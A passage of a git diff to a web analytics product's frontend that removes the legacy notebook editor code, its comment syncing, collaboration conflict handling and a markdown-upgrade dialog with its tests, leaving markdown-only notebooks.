runWhenNotebookIsReady(+ () => values.isLocalOnly || !!values.notebook,() => {const markdownContent = appendContentToMarkdownNotebook(values.content, content)if (markdownContent) {actions.setLocalContent(markdownContent)- return}-- const endPosition = values.editor?.getEndPosition() || 0- values.editor?.pasteContent(endPosition, content)})},- insertAfterLastNodeOfType: async ({ content, nodeType, knownStartingPosition }) => {- await runWhenEditorIsReady(- () =>- (values.isLocalOnly || !!values.notebook) &&- (!!values.editor || isMarkdownNotebookContent(values.content)),- () => {- // Markdown notebooks have no node positions — append at the end instead.- const markdownContent = appendContentToMarkdownNotebook(values.content, content)- if (markdownContent) {- actions.setLocalContent(markdownContent)- return- }-- let insertionPosition = knownStartingPosition- let nextNode = values.editor?.nextNode(insertionPosition)- while (nextNode && values.editor?.hasChildOfType(nextNode.node, nodeType)) {- insertionPosition = nextNode.position- nextNode = values.editor?.nextNode(insertionPosition)- }-- values.editor?.insertContentAfterNode(insertionPosition, content)- }- )- },- addSavedInsightToNotebook: async ({ insightShortId, insertionPosition }) => {- const content = {- type: NotebookNodeType.Query,- attrs: {- query: {- kind: NodeKind.SavedInsightNode,- shortId: insightShortId,- },- },- }-- if (isMarkdownNotebookContent(values.content)) {- actions.setLocalContent(- appendMarkdownNotebookBlock(- values.content,- serializeMarkdownNotebookComponent('Query', {- hideFilters: true,- query: {- kind: NodeKind.SavedInsightNode,- shortId: insightShortId,- },- })- )- )- lemonToast.success('Insight added to notebook')- return- }-- let inserted = false-- if (insertionPosition !== null && values.editor) {- try {- values.editor.insertContentAt(insertionPosition, content)- inserted = true- } catch (e) {- console.warn('Failed to insert at position, appending to end instead', e)- }- }-- if (!inserted) {- const result = await runWhenEditorIsReady(- () => !!values.editor && (values.isLocalOnly || !!values.notebook),- () => {- let pos = 0- let nextNode = values.editor?.nextNode(pos)- while (nextNode) {- pos = nextNode.position- nextNode = values.editor?.nextNode(pos)- }- values.editor?.insertContentAfterNode(pos, content)- return true- }- )- inserted = result === true- }-- if (inserted) {- lemonToast.success('Insight added to notebook')- } else {- lemonToast.warning('Could not add insight to notebook')- }- },- addExperimentToNotebook: async ({ experimentId, insertionPosition }) => {- const content = {- type: NotebookNodeType.Experiment,- attrs: {- id: experimentId,- },- }-- if (isMarkdownNotebookContent(values.content)) {- actions.setLocalContent(- appendMarkdownNotebookBlock(- values.content,- serializeMarkdownNotebookComponent('Experiment', { id: experimentId })- )- )- lemonToast.success('Experiment added to notebook')- return- }-- let inserted = false-- if (insertionPosition !== null && values.editor) {- try {- values.editor.insertContentAt(insertionPosition, content)- inserted = true- } catch (e) {- console.warn('Failed to insert at position, appending to end instead', e)- }- }-- if (!inserted) {- const result = await runWhenEditorIsReady(- () => !!values.editor && (values.isLocalOnly || !!values.notebook),- () => {- let pos = 0- let nextNode = values.editor?.nextNode(pos)- while (nextNode) {- pos = nextNode.position- nextNode = values.editor?.nextNode(pos)- }- values.editor?.insertContentAfterNode(pos, content)- return true- }- )- inserted = result === true- }-- if (inserted) {- lemonToast.success('Experiment added to notebook')- } else {- lemonToast.warning('Could not add experiment to notebook')- }- },handleMarkdownEditorChange: ({ markdown }) => {if (values.markdownEditorInteractionActive) {actions.setMarkdownEditorBuffer(markdown)@@ -2284,7 +1667,7 @@ export const notebookLogic = kea<notebookLogicType>([actions.setLocalContent(buildMarkdownNotebookContent(nextMarkdown, values.markdownEditorNodeId))},- setLocalContent: async ({ updateEditor, jsonContent, skipCapture }, breakpoint) => {+ setLocalContent: async ({ jsonContent, skipCapture }, breakpoint) => {if (values.mode !== 'canvas' &&!!values.notebook?.user_access_level &&@@ -2302,9 +1685,6 @@ export const notebookLogic = kea<notebookLogicType>([// We don't want to modify the content if we are viewing a previewreturn}- if (updateEditor) {- values.editor?.setContent(jsonContent)- }if (values.markdownRealtimeEnabled) {// Debounce between keystrokes, but never let continuous typing starve the save:@@ -2353,58 +1733,12 @@ export const notebookLogic = kea<notebookLogicType>([}},- setPreviewContent: async () => {- values.editor?.setContent(values.content)- },- clearPreviewContent: async () => {- values.editor?.setContent(values.content)- },setShowHistory: async ({ showHistory }) => {if (!showHistory) {actions.clearPreviewContent()}},- onEditorUpdate: () => {- if (!values.editor) {- return- }- if (values.previewContent) {- return- }- const jsonContent = values.editor.getJSON()-- actions.setLocalContent(jsonContent)- // Throttle onUpdateEditor to avoid performance issues with many notebook nodes- if (cache.throttledOnUpdateEditorTimeout) {- clearTimeout(cache.throttledOnUpdateEditorTimeout)- }- cache.throttledOnUpdateEditorTimeout = setTimeout(() => {- actions.onUpdateEditor()- cache.throttledOnUpdateEditorTimeout = null- }, 16) // ~60fps throttling- },- setEditor: () => {- // Compute contexts immediately if comments are already loaded when the editor mounts- if (values.editor && values.comments) {- actions.setCommentContexts(buildCommentContexts(values.editor, values.comments))- }- },- onUpdateEditor: () => {- // Re-sync previews so they track edits to text under comment marks.- // Skip the dispatch when nothing changed to avoid re-rendering every Comment per keystroke.- if (!values.editor || !values.comments) {- return- }- const next = buildCommentContexts(values.editor, values.comments)- const prev = values.commentContexts- const nextKeys = Object.keys(next)- if (nextKeys.length === Object.keys(prev).length && nextKeys.every((k) => prev[k] === next[k])) {- return- }- actions.setCommentContexts(next)- },-saveNotebookSuccess: ({ payload }) => {// Clear only the saved object; newer edits get a new object. For markdown notebooks a// conflict resolution reload also lands here, but then the loaded server content differs@@ -2456,7 +1790,7 @@ export const notebookLogic = kea<notebookLogicType>([exportJSON: () => {const file = new File(- [JSON.stringify(values.editor?.getJSON() ?? values.content, null, 2)],+ [JSON.stringify(values.content, null, 2)],`${slugify(values.title ?? 'untitled')}.ph-notebook.json`,{ type: 'application/json' })@@ -2473,88 +1807,6 @@ export const notebookLogic = kea<notebookLogicType>([await copyToClipboard(getMarkdownNotebookMarkdown(values.content), 'markdown')},- discardLocalChanges: () => {- posthog.capture('notebook collab conflict resolved', {- short_id: values.notebook?.short_id,- choice: 'discard',- })- // Reload remounts the editor so it re-initialises with the server's content.- actions.clearLocalContent()- window.location.reload()- },-- rebaseFailed: async ({ localContent, localText }) => {- // prosemirror-collab couldn't apply a remote step; the modal lets the user copy or discard.- if (!values.notebook) {- return- }- // Fetch fresh server content for the side-by-side preview of the changes.- let serverContent: JSONContent = {}- try {- const fresh = await api.notebooks.get(values.notebook.short_id, undefined, {})- serverContent = (fresh.content as JSONContent) ?? {}- } catch (e) {- posthog.captureException(e as Error, { action: 'notebook collab fetch server content' })- lemonToast.warning('Could not load the latest saved version.')- }- actions.showCollabConflict({ serverContent, localContent, localText })- },-- copyUnsavedToNewNotebook: async () => {- // Save unsaved edits to a fresh notebook, then navigate to it.- if (!values.notebook || !values.collabConflict) {- return- }- try {- const sourceTitle = values.notebook.title || 'Untitled'- const newTitle = `${sourceTitle} (copy)`- const created = await api.notebooks.create({- content: updateContentHeading(values.collabConflict.localContent, newTitle),- text_content: values.collabConflict.localText,- title: newTitle,- })- lemonToast.success('Saved your unsaved changes to a new notebook.')- posthog.capture('notebook collab conflict resolved', {- short_id: values.notebook.short_id,- choice: 'copy_to_new',- })- actions.dismissCollabConflict()- actions.clearLocalContent()- await openNotebook(created.short_id, NotebookTarget.Scene)- } catch {- lemonToast.error('Could not copy your changes to a new notebook.')- }- },-- onEditorSelectionUpdate: () => {- if (!values.editor) {- return- }- // Sync the active comment to the editor cursor: when the caret enters a comment mark- // we highlight the corresponding side-panel comment; when it leaves we clear it.- const markId = values.editor.getAttributes('comment').id ?? null- const targetSelectedId = markId- ? (values.comments?.find((c) => c.item_context?.type === 'mark' && c.item_context?.id === markId)?.id ??- null)- : null- if (values.selectedCommentId !== targetSelectedId) {- actions.setSelectedComment(targetSelectedId)- }-- // Throttle this too to avoid excessive calls- if (cache.throttledOnUpdateEditorTimeout) {- clearTimeout(cache.throttledOnUpdateEditorTimeout)- }- cache.throttledOnUpdateEditorTimeout = setTimeout(() => {- actions.onUpdateEditor()- cache.throttledOnUpdateEditorTimeout = null- }, 16) // ~60fps throttling- },- scrollToSelection: () => {- if (values.editor) {- values.editor.scrollToSelection()- }- },setEditingNodeEditing: ({ nodeId, editing }) => {if (!editing) {return@@ -2562,12 +1814,6 @@ export const notebookLogic = kea<notebookLogicType>([values.findNodeLogicById(nodeId)?.actions.selectNode(false)},- setTextSelection: ({ selection }) => {- queueMicrotask(() => {- values.editor?.setTextSelection(selection)- })- },-scheduleNotebookRefresh: () => {if (values.mode !== 'notebook') {return@@ -2576,8 +1822,8 @@ export const notebookLogic = kea<notebookLogicType>([// Remove any existing refresh timeoutcache.disposables.dispose('refreshTimeout')- // When collab or markdown realtime is enabled, SSE handles sync.- if (values.collabEnabled || values.markdownRealtimeEnabled) {+ // When markdown realtime is enabled, SSE handles sync.+ if (values.markdownRealtimeEnabled) {return}@@ -2594,14 +1840,7 @@ export const notebookLogic = kea<notebookLogicType>([insertComment: ({ context }) => {actions.openSidePanel(SidePanelTab.Discussion)- actions.setItemContext(context, (result) => {- if (!result.sent && values.editor) {- const pos = values.editor.findCommentPosition(context.id)- if (pos) {- values.editor.removeComment(pos)- }- }- })+ actions.setItemContext(context, () => {})if (router.values.currentLocation.pathname !== urls.notebook(values.shortId)) {router.actions.push(urls.notebook(values.shortId))}@@ -2617,7 +1856,7 @@ export const notebookLogic = kea<notebookLogicType>([},})),- subscriptions(({ values, actions }) => ({+ subscriptions(({ actions }) => ({notebook: (notebook?: NotebookType) => {// Keep the list logic up to date with any changesif (notebook && notebook.short_id !== SCRATCHPAD_NOTEBOOK.short_id) {@@ -2634,31 +1873,6 @@ export const notebookLogic = kea<notebookLogicType>([}actions.scheduleNotebookRefresh()},- comments: (comments: CommentType[] | undefined | null) => {- if (comments && values.editor) {- const { editor } = values- const commentMarkIds = comments- .filter((comment) => comment.item_context?.type === 'mark')- .map((comment) => comment.item_context?.id)-- editor.getMarks('comment').forEach((mark) => {- if (!commentMarkIds.includes(mark.id) && values.itemContext?.context?.id !== mark.id) {- editor.removeComment(mark.pos)- }- })-- actions.setCommentContexts(buildCommentContexts(editor, comments))- }- },- activeCommentMarkId: (markId: string | null) => {- if (!markId || !values.editor) {- return- }- const pos = values.editor.findCommentPosition(markId)- if (pos !== null) {- values.editor.scrollToPosition(pos)- }- },})),urlToAction(({ values, actions, cache }) => ({diff --git a/frontend/src/scenes/notebooks/Notebook/notebookSettingsLogic.ts b/frontend/src/scenes/notebooks/Notebook/notebookSettingsLogic.tsindex 7852c88de074..975409c720c9 100644--- a/frontend/src/scenes/notebooks/Notebook/notebookSettingsLogic.ts+++ b/frontend/src/scenes/notebooks/Notebook/notebookSettingsLogic.ts@@ -2,26 +2,18 @@ import { MakeLogicType, actions, kea, path, reducers } from 'kea'// Generated by kea-typegen. Update if you're an agent, ignore if you're human.export interface notebookSettingsLogicValues {- isExpanded: booleanisMarkdownExpanded: booleanshowKernelInfo: boolean- showTableOfContents: boolean}// Generated by kea-typegen. Update if you're an agent, ignore if you're human.export interface notebookSettingsLogicActions {- setIsExpanded: (expanded: boolean) => {- expanded: boolean- }setIsMarkdownExpanded: (expanded: boolean) => {expanded: boolean}setShowKernelInfo: (showKernelInfo: boolean) => {showKernelInfo: boolean}- setShowTableOfContents: (showTOC: boolean) => {- showTOC: boolean- }}export type notebookSettingsLogicType = MakeLogicType<notebookSettingsLogicValues, notebookSettingsLogicActions>@@ -30,19 +22,10 @@ export type notebookSettingsLogicType = MakeLogicType<notebookSettingsLogicValueexport const notebookSettingsLogic = kea<notebookSettingsLogicType>([path(['scenes', 'notebooks', 'notebooks', 'notebookSettingsLogic']),actions({- setIsExpanded: (expanded: boolean) => ({ expanded }),setIsMarkdownExpanded: (expanded: boolean) => ({ expanded }),setShowKernelInfo: (showKernelInfo: boolean) => ({ showKernelInfo }),- setShowTableOfContents: (showTOC: boolean) => ({ showTOC }),}),reducers(() => ({- isExpanded: [- false,- { persist: true },- {- setIsExpanded: (_, { expanded }) => expanded,- },- ],isMarkdownExpanded: [true,{ persist: true },@@ -56,11 +39,5 @@ export const notebookSettingsLogic = kea<notebookSettingsLogicType>([setShowKernelInfo: (_, { showKernelInfo }) => showKernelInfo,},],- showTableOfContents: [- false,- {- setShowTableOfContents: (_, { showTOC }) => showTOC,- },- ],})),])diff --git a/frontend/src/scenes/notebooks/Notebook/notebookUpgradeDialog.test.tsx b/frontend/src/scenes/notebooks/Notebook/notebookUpgradeDialog.test.tsxdeleted file mode 100644index 3d7db37e632c..000000000000--- a/frontend/src/scenes/notebooks/Notebook/notebookUpgradeDialog.test.tsx+++ /dev/null@@ -1,141 +0,0 @@-import { render } from '@testing-library/react'-import { createElement, Fragment } from 'react'--import { JSONContent } from 'lib/components/RichContentEditor/types'-import { LemonDialog } from 'lib/lemon-ui/LemonDialog'--import { CommentType } from '~/types'--import { NotebookNodeType } from '../types'-import { getMarkdownNotebookMarkdown, isMarkdownNotebookContent } from './markdownNotebookV2'-import { buildCommentRepliesByMarkId, openUpgradeToMarkdownNotebookDialog } from './notebookUpgradeDialog'--jest.mock('lib/lemon-ui/LemonDialog', () => ({- LemonDialog: {- open: jest.fn(),- },-}))--const openDialogMock = LemonDialog.open as jest.Mock--describe('notebookUpgradeDialog', () => {- beforeEach(() => {- openDialogMock.mockClear()- })-- it('warns before converting a notebook to markdown content', () => {- const content: JSONContent = {- type: 'doc',- content: [- {- type: 'heading',- attrs: { level: 1 },- content: [{ type: 'text', text: 'Activation' }],- },- {- type: NotebookNodeType.Query,- attrs: {- query: {- kind: 'InsightVizNode',- source: { kind: 'TrendsQuery', series: [] },- },- },- },- ],- }- const setLocalContent = jest.fn()-- openUpgradeToMarkdownNotebookDialog({ content, setLocalContent })-- expect(openDialogMock).toHaveBeenCalledTimes(1)- const dialogProps = openDialogMock.mock.calls[0][0]-- expect(dialogProps.title).toEqual('Convert this notebook to Markdown notebooks?')- expect(dialogProps.primaryButton.children).toEqual('Convert to Markdown notebooks')- expect(dialogProps.secondaryButton.children).toEqual('Cancel')-- const { getByText } = render(createElement(Fragment, null, dialogProps.content))-- expect(getByText(/This conversion only works one way/)).toBeInstanceOf(HTMLElement)- expect(getByText('Make sure you want to continue before converting it.')).toBeInstanceOf(HTMLElement)-- dialogProps.primaryButton.onClick()-- expect(setLocalContent).toHaveBeenCalledTimes(1)- const convertedContent = setLocalContent.mock.calls[0][0]- expect(isMarkdownNotebookContent(convertedContent)).toBe(true)- expect(getMarkdownNotebookMarkdown(convertedContent)).toEqual(`# Activation--<Query hideFilters query={{"kind":"InsightVizNode","source":{"kind":"TrendsQuery","series":[]}}} />`)- })-- it('embeds comment threads from range-anchored comments during conversion', () => {- const content: JSONContent = {- type: 'doc',- content: [- {- type: 'paragraph',- content: [- { type: 'text', text: 'annotated', marks: [{ type: 'comment', attrs: { id: 'mark-1' } }] },- ],- },- ],- }- const comments = [- makeComment({ id: 'c1', content: 'Root note', item_context: { type: 'mark', id: 'mark-1' } }),- makeComment({ id: 'c2', content: 'A reply', source_comment: 'c1', created_at: '2026-01-02T00:00:00Z' }),- makeComment({ id: 'c3', content: '👍', source_comment: 'c1', item_context: { is_emoji: true } }),- makeComment({ id: 'c4', content: 'Unanchored', item_context: null }),- ]- const setLocalContent = jest.fn()-- openUpgradeToMarkdownNotebookDialog({ content, comments, setLocalContent })- openDialogMock.mock.calls[0][0].primaryButton.onClick()-- const markdown = getMarkdownNotebookMarkdown(setLocalContent.mock.calls[0][0])- expect(markdown).toContain('<ref id="mark-1">annotated</ref>')- expect(markdown).toContain('<Comment ref="mark-1"')- expect(markdown).toContain('Root note')- expect(markdown).toContain('A reply')- expect(markdown).not.toContain('👍')- expect(markdown).not.toContain('Unanchored')- })-- it('groups comment threads by mark id, oldest first, skipping deleted comments', () => {- const replies = buildCommentRepliesByMarkId([- makeComment({ id: 'c1', content: 'Root', item_context: { type: 'mark', id: 'm1' } }),- makeComment({ id: 'c2', content: 'Newer reply', source_comment: 'c1', created_at: '2026-01-03T00:00:00Z' }),- makeComment({ id: 'c3', content: 'Older reply', source_comment: 'c1', created_at: '2026-01-02T00:00:00Z' }),- makeComment({ id: 'c4', content: 'Gone', source_comment: 'c1', deleted: true }),- ])-- expect(replies['m1'].map((reply) => (reply as { text: string }).text)).toEqual([- 'Root',- 'Older reply',- 'Newer reply',- ])- })-})--function makeComment(overrides: Partial<CommentType>): CommentType {- return {- id: 'comment-id',- content: null,- rich_content: null,- version: 0,- created_at: '2026-01-01T00:00:00Z',- created_by: {- id: 1,- uuid: 'user-uuid',- distinct_id: 'user-distinct-id',- first_name: 'Ann',- email: '[email protected]',- },- scope: 'Notebook',- item_context: null,- is_task: false,- completed_at: null,- completed_by: null,- ...overrides,- }-}diff --git a/frontend/src/scenes/notebooks/Notebook/notebookUpgradeDialog.tsx b/frontend/src/scenes/notebooks/Notebook/notebookUpgradeDialog.tsxdeleted file mode 100644index 1b9eeaf6a30a..000000000000--- a/frontend/src/scenes/notebooks/Notebook/notebookUpgradeDialog.tsx+++ /dev/null@@ -1,133 +0,0 @@-import posthog from 'posthog-js'--import { lemonToast } from '@posthog/lemon-ui'--import { NotebookPropValue } from 'lib/components/MarkdownNotebook/types'-import { JSONContent } from 'lib/components/RichContentEditor/types'-import { LemonDialog } from 'lib/lemon-ui/LemonDialog'-import { membersLogic } from 'scenes/organization/membersLogic'--import { CommentType } from '~/types'--import {- buildMarkdownNotebookContent,- convertNotebookContentToMarkdown,- notebookContentHasCommentMarks,-} from './markdownNotebookV2'--type OpenUpgradeToMarkdownNotebookDialogProps = {- shortId?: string- content: JSONContent | null | undefined- /** The notebook's discussion comments — inline threads are embedded into the markdown. */- comments?: CommentType[] | null- setLocalContent: (jsonContent: JSONContent) => void-}--/**- * Groups a notebook's range-anchored comments (item_context.type === 'mark') into reply- * threads keyed by their v1 comment mark id, so the converter can emit a matching- * `<Comment ref="markId" replies={…} />` thread next to each `<ref>` highlight.- */-export function buildCommentRepliesByMarkId(- comments: CommentType[] | null | undefined-): Record<string, NotebookPropValue[]> {- const repliesByMarkId: Record<string, NotebookPropValue[]> = {}- const toReply = (comment: CommentType): NotebookPropValue => {- const author = comment.created_by?.first_name || comment.created_by?.email- return {- id: comment.id,- text: comment.content ?? '',- ...(author ? { author } : {}),- ...(comment.created_by ? { authorId: comment.created_by.id } : {}),- at: comment.created_at,- }- }-- for (const comment of comments ?? []) {- if (- comment.deleted ||- comment.source_comment ||- comment.item_context?.type !== 'mark' ||- typeof comment.item_context?.id !== 'string'- ) {- continue- }-- const thread = [- comment,- ...(comments ?? []).filter(- (candidate) =>- candidate.source_comment === comment.id && !candidate.deleted && !candidate.item_context?.is_emoji- ),- ].sort((left, right) => left.created_at.localeCompare(right.created_at))-- repliesByMarkId[comment.item_context.id] = thread.map(toReply)- }-- return repliesByMarkId-}--function getMentionLabel(memberId: number): string | null {- const member = membersLogic- .findMounted()- ?.values.meFirstMembers?.find((candidate) => candidate.user.id === memberId)- if (!member) {- return null- }- return `@${member.user.first_name || member.user.email}`-}--export function openUpgradeToMarkdownNotebookDialog({- shortId,- content,- comments,- setLocalContent,-}: OpenUpgradeToMarkdownNotebookDialogProps): void {- LemonDialog.open({- title: 'Convert this notebook to Markdown notebooks?',- content: (- <div className="text-sm text-secondary">- <p>- This conversion only works one way. Once upgraded, this notebook cannot be converted back to the old- editor.- </p>- {notebookContentHasCommentMarks(content) && (- <p className="mt-2">- Inline comments come along: each becomes a comment thread anchored to the same highlighted text.- </p>- )}- <p className="mt-2">Make sure you want to continue before converting it.</p>- </div>- ),- primaryButton: {- children: 'Convert to Markdown notebooks',- type: 'primary',- onClick: () => {- const startedAt = performance.now()- try {- const markdown = convertNotebookContentToMarkdown(content, {- commentRepliesByMarkId: buildCommentRepliesByMarkId(comments),- getMentionLabel,- })- setLocalContent(buildMarkdownNotebookContent(markdown))- posthog.capture('notebook converted to markdown', {- short_id: shortId,- source_node_count: content?.content?.length ?? 0,- markdown_length: markdown.length,- duration_ms: Math.round(performance.now() - startedAt),- })- } catch (error) {- posthog.capture('notebook markdown conversion failed', { short_id: shortId })- posthog.captureException(error as Error, { action: 'notebook markdown conversion' })- lemonToast.error('Could not convert this notebook to Markdown notebooks.')- }- },- size: 'small',- },- secondaryButton: {- children: 'Cancel',- type: 'tertiary',- size: 'small',- },- })-}diff --git a/frontend/src/scenes/notebooks/NotebookCanvasScene.tsx b/frontend/src/scenes/notebooks/NotebookCanvasScene.tsxindex c471e5def019..7c495e9ffd72 100644--- a/frontend/src/scenes/notebooks/NotebookCanvasScene.tsx+++ b/frontend/src/scenes/notebooks/NotebookCanvasScene.tsx@@ -48,7 +48,7 @@ export function NotebookCanvas(): JSX.Element {items={[{label: 'Clear canvas',- onClick: () => setLocalContent({ type: 'doc', content: [] }, true),+ onClick: () => setLocalContent({ type: 'doc', content: [] }),},{label: 'Export as JSON',@@ -71,7 +71,7 @@ export function NotebookCanvas(): JSX.Element {throw new Error('Not a notebook')}// Looks like a notebook- setLocalContent(data, true)+ setLocalContent(data)}).catch((e) => {lemonToast.error(e.message)diff --git a/frontend/src/scenes/notebooks/NotebookMenu.test.tsx b/frontend/src/scenes/notebooks/NotebookMenu.test.tsxindex 00116bcfcffc..0d161a51acc4 100644--- a/frontend/src/scenes/notebooks/NotebookMenu.test.tsx+++ b/frontend/src/scenes/notebooks/NotebookMenu.test.tsx@@ -5,8 +5,6 @@ import { expectLogic } from 'kea-test-utils'import { type ReactNode } from 'react'import api from 'lib/api'-import { FEATURE_FLAGS } from 'lib/constants'-import { featureFlagLogic } from 'lib/logic/featureFlagLogic'import { initKeaTests } from '~/test/init'import { AccessControlLevel } from '~/types'@@ -59,9 +57,6 @@ describe('NotebookMenu', () => {localStorage.clear()initKeaTests()jest.spyOn(api.notebooks, 'collabStream').mockResolvedValue(undefined as any)- featureFlagLogic.actions.setFeatureFlags([FEATURE_FLAGS.MARKDOWN_NOTEBOOKS], {- [FEATURE_FLAGS.MARKDOWN_NOTEBOOKS]: true,- })logic = notebookLogic({ shortId: SHORT_ID, cachedNotebook: legacyNotebook })logic.mount()diff --git a/frontend/src/scenes/notebooks/NotebookMenu.tsx b/frontend/src/scenes/notebooks/NotebookMenu.tsxindex 242e401a9203..8cceac631cce 100644--- a/frontend/src/scenes/notebooks/NotebookMenu.tsx+++ b/frontend/src/scenes/notebooks/NotebookMenu.tsx@@ -15,14 +15,13 @@ import { urls } from 'scenes/urls'import { notebooksModel } from '~/models/notebooksModel'-import { isMarkdownNotebookContent } from './Notebook/markdownNotebookV2'import { NotebookLogicProps, notebookLogic } from './Notebook/notebookLogic'export function NotebookMenu({ shortId, inPanel }: NotebookLogicProps & { inPanel?: boolean }): JSX.Element {- const { notebook, showHistory, isLocalOnly, content } = useValues(notebookLogic({ shortId }))- const { openShareModal, duplicateNotebook, exportJSON, downloadMarkdown, copyMarkdown, setShowHistory } =- useActions(notebookLogic({ shortId }))- const isMarkdownNotebook = isMarkdownNotebookContent(content)+ const { notebook, showHistory, isLocalOnly } = useValues(notebookLogic({ shortId }))+ const { openShareModal, duplicateNotebook, downloadMarkdown, copyMarkdown, setShowHistory } = useActions(+ notebookLogic({ shortId })+ )return (<DropdownMenu>@@ -40,26 +39,17 @@ export function NotebookMenu({ shortId, inPanel }: NotebookLogicProps & { inPane</ButtonPrimitive></DropdownMenuItem><DropdownMenuItem asChild>- {isMarkdownNotebook ? (- <ButtonPrimitive onClick={() => downloadMarkdown()} menuItem>- <IconDownload />- Download .md- </ButtonPrimitive>- ) : (- <ButtonPrimitive onClick={() => exportJSON()} menuItem>- <IconDownload />- Export JSON- </ButtonPrimitive>- )}+ <ButtonPrimitive onClick={() => downloadMarkdown()} menuItem>+ <IconDownload />+ Download .md+ </ButtonPrimitive>+ </DropdownMenuItem>+ <DropdownMenuItem asChild>+ <ButtonPrimitive onClick={() => copyMarkdown()} menuItem>+ <IconCopy />+ Copy markdown+ </ButtonPrimitive></DropdownMenuItem>- {isMarkdownNotebook ? (- <DropdownMenuItem asChild>- <ButtonPrimitive onClick={() => copyMarkdown()} menuItem>- <IconCopy />- Copy markdown- </ButtonPrimitive>- </DropdownMenuItem>- ) : null}<DropdownMenuItem asChild><ButtonPrimitive onClick={() => setShowHistory(!showHistory)} menuItem><IconClock />diff --git a/frontend/src/scenes/notebooks/NotebookPanel/NotebookPanel.tsx b/frontend/src/scenes/notebooks/NotebookPanel/NotebookPanel.tsxindex e5ade1bc70e9..95ffd485a2b2 100644--- a/frontend/src/scenes/notebooks/NotebookPanel/NotebookPanel.tsx+++ b/frontend/src/scenes/notebooks/NotebookPanel/NotebookPanel.tsx@@ -12,29 +12,20 @@ import { urls } from 'scenes/urls'import { SidePanelPaneHeader } from '~/layout/navigation-3000/sidepanel/components/SidePanelPaneHeader'import { SidePanelContentContainer } from '~/layout/navigation-3000/sidepanel/SidePanelContentContainer'-import { isMarkdownNotebookContent } from '../Notebook/markdownNotebookV2'import { Notebook } from '../Notebook/Notebook'import { NotebookListMini } from '../Notebook/NotebookListMini'import { notebookLogic } from '../Notebook/notebookLogic'-import {- NotebookCollabStatus,- NotebookExpandButton,- NotebookPresence,- NotebookSyncInfo,-} from '../Notebook/NotebookMeta'+import { NotebookExpandButton, NotebookPresence, NotebookSyncInfo } from '../Notebook/NotebookMeta'import { NotebookMenu } from '../NotebookMenu'import { NotebookTarget } from '../types'import { NotebookPanelDropzone } from './NotebookPanelDropzone'import { notebookPanelLogic } from './notebookPanelLogic'export function NotebookPanel(): JSX.Element | null {- const { selectedNotebook, initialAutofocus, droppedResource, dropProperties } = useValues(notebookPanelLogic)+ const { selectedNotebook, droppedResource, dropProperties } = useValues(notebookPanelLogic)const { selectNotebook, closeSidePanel } = useActions(notebookPanelLogic)- const { notebook, content } = useValues(- notebookLogic({ shortId: selectedNotebook, target: NotebookTarget.Popover })- )+ const { notebook } = useValues(notebookLogic({ shortId: selectedNotebook, target: NotebookTarget.Popover }))const editable = !notebook?.is_template- const isMarkdownNotebook = isMarkdownNotebookContent(content)const { ref, size } = useResizeBreakpoints({0: 'small',832: 'medium',@@ -57,25 +48,14 @@ export function NotebookPanel(): JSX.Element | null {buttonProps={{ className: 'max-w-[120px]', truncate: true }}/>- {selectedNotebook && (- <>- <NotebookCollabStatus shortId={selectedNotebook} />- <NotebookSyncInfo shortId={selectedNotebook} />- </>- )}+ {selectedNotebook && <NotebookSyncInfo shortId={selectedNotebook} />}</div><div className="flex-1" /><div className="flex items-center gap-1">{selectedNotebook && <NotebookPresence shortId={selectedNotebook} />}<NotebookMenu shortId={selectedNotebook} inPanel />- {contentWidthHasEffect && (- <NotebookExpandButton- size="small"- inPanel={true}- isMarkdownNotebook={isMarkdownNotebook}- />- )}+ {contentWidthHasEffect && <NotebookExpandButton size="small" inPanel={true} />}<LinkbuttonProps={{iconOnly: true,@@ -90,12 +70,7 @@ export function NotebookPanel(): JSX.Element | null {</Link></div></SidePanelPaneHeader>- <Notebook- key={selectedNotebook}- shortId={selectedNotebook}- editable={editable}- initialAutofocus={initialAutofocus}- />+ <Notebook key={selectedNotebook} shortId={selectedNotebook} editable={editable} /></SidePanelContentContainer></>) : null}diff --git a/frontend/src/scenes/notebooks/NotebookPanel/notebookPanelLogic.ts b/frontend/src/scenes/notebooks/NotebookPanel/notebookPanelLogic.tsindex f44b2d73c2ac..89eaeecaee18 100644--- a/frontend/src/scenes/notebooks/NotebookPanel/notebookPanelLogic.ts+++ b/frontend/src/scenes/notebooks/NotebookPanel/notebookPanelLogic.ts@@ -1,13 +1,11 @@import { MakeLogicType, actions, beforeUnmount, connect, kea, listeners, path, reducers, selectors } from 'kea'import { HTMLProps } from 'react'-import { EditorFocusPosition } from 'lib/components/RichContentEditor/types'import { featureFlagLogic } from 'lib/logic/featureFlagLogic'import { sidePanelStateLogic } from '~/layout/navigation-3000/sidepanel/sidePanelStateLogic'import { SidePanelTab } from '~/types'-import type { FocusPosition } from '../../../../../node_modules/.pnpm/@[email protected]_@[email protected]/node_modules/@tiptap/core/dist/index'import type { FeatureFlagsSet } from '../../../lib/logic/featureFlagLogic'import { NotebookNodeResource } from '../types'// Generated by kea-typegen. Update if you're an agent, ignore if you're human.@@ -18,7 +16,6 @@ export interface notebookPanelLogicValues {dropMode: booleandropProperties: Pick<HTMLProps<HTMLDivElement>, 'onDragEnter' | 'onDragLeave' | 'style'>droppedResource: string | NotebookNodeResource | null- initialAutofocus: EditorFocusPositionselectedNotebook: stringvisibility: 'hidden' | 'visible'}@@ -41,11 +38,9 @@ export interface notebookPanelLogicActions {selectNotebook: (id: string,options?: {- autofocus?: EditorFocusPositionsilent?: boolean}) => {- autofocus?: FocusPosition | undefinedid: stringsilent?: boolean | undefined}@@ -70,7 +65,7 @@ export const notebookPanelLogic = kea<notebookPanelLogicType>([actions: [sidePanelStateLogic, ['openSidePanel', 'closeSidePanel']],})),actions({- selectNotebook: (id: string, options: { autofocus?: EditorFocusPosition; silent?: boolean } = {}) => ({+ selectNotebook: (id: string, options: { silent?: boolean } = {}) => ({id,...options,}),@@ -88,12 +83,6 @@ export const notebookPanelLogic = kea<notebookPanelLogicType>([selectNotebook: (_, { id }) => id,},],- initialAutofocus: [- 'start' as EditorFocusPosition,- {- selectNotebook: (_, { autofocus }) => autofocus ?? 'start',- },- ],dropMode: [false,{diff --git a/frontend/src/scenes/notebooks/NotebookScene.tsx b/frontend/src/scenes/notebooks/NotebookScene.tsxindex c979716255f0..d3bc687d398a 100644--- a/frontend/src/scenes/notebooks/NotebookScene.tsx+++ b/frontend/src/scenes/notebooks/NotebookScene.tsx@@ -2,7 +2,7 @@ import { useActions, useValues } from 'kea'import { router } from 'kea-router'import { useEffect, useState } from 'react'-import { IconInfo, IconOpenSidebar } from '@posthog/icons'+import { IconOpenSidebar } from '@posthog/icons'import { LemonButton, LemonTag } from 